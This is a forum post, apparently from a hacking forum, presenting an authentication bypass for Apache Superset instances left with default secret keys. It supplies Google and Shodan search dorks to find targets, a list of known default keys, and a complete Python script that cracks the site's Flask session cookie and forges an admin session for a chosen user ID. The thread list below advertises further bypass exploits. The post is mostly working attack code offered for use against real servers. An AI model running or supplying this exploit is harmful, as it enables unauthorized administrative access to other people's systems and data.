Apache Superset Authentication Bypass
by metadata - Saturday August 2, 2025 at 12:50 AM
#1
An authentication bypass vulnerability exists due to the use of a default or hardcoded secret key in the application’s configuration. Secret keys are typically used for signing session cookies, JWT tokens, or other authentication mechanisms. If the default key is predictable (e.g., defaultsecret, changeme, or any framework-provided default), an attacker can craft valid authentication tokens or session cookies, effectively bypassing login requirements and gaining unauthorized access to protected areas of the application

Dork
Google: intext: "Welcome to Apache Superset"
Shodan: product:"Apache Superset"

Python Code
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
from selenium import webdriver
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
    parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
    args = parser.parse_args()

    try:
        u = args.url.rstrip('/') + '/login/'

        headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
        }

        resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
        if resp.status_code != 200:
            print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
            return

        session_cookie = None
        for c in resp.cookies:
            if c.name == 'session':
                session_cookie = c.value
                break

        if not session_cookie:
            print('Error: No session cookie found')
            return

        print(f'Got session cookie: {session_cookie}')

        try:
            decoded = session.decode(session_cookie)
            print(f'Decoded session cookie: {decoded}')
        except:
            print('Error: Not a Flask session cookie')
            return

        match = re.search(r'"version_string": "(.*?)&#34', resp.text)
        if match:
            version = match.group(1)
        else:
            version = 'Unknown'

        print(f'Superset Version: {version}')

            
        for i, k in enumerate(SECRET_KEYS):
            cracked = session.verify(session_cookie, k)
            if cracked:
                break

        if not cracked:
            print('Failed to crack session cookie')
            return

        print(f'Vulnerable - Using default SECRET_KEY: {k}')

        try:
            user_id = int(args.id)
        except:
            user_id = args.id
        
        forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
        print(f'Forged session cookie for user {user_id}: {forged_cookie}')
        u1 = args.url.rstrip('/') + '/superset/welcome'

        print(f"Now visit the url: `{u1}` and replace the current session cookie with this `{forged_cookie}` and refresh the page and we will be logged in as admin to the dashboard:)")




    except Exception as e:
        print(f'Unexpected error: {e}')


if __name__ == '__main__':
    main()
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  !Next.js Middleware Bypass (CVE-2025-29927) Rat1337 16 749 08-03-2025, 11:17 AM
Last Post: icebear223
  AMSI Bypass with Powershell W11 pompompurinn 42 7,883 07-27-2025, 10:11 PM
Last Post: lolo_hacker_was_here
  Bypass Xiaomi Redmi Note 13 Bootloader Lock 6linux 0 210 04-01-2025, 10:37 AM
Last Post: 6linux
  Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409) exploit miya 22 2,348 03-27-2025, 04:43 PM
Last Post: takahash1
  7-Zip Mark-of-the-Web Bypass Vulnerability [CVE-2025-0411] - POC thermos 11 1,374 03-27-2025, 10:22 AM
Last Post: eclipse360

Forum Jump:


 Users browsing this thread: 1 Guest(s)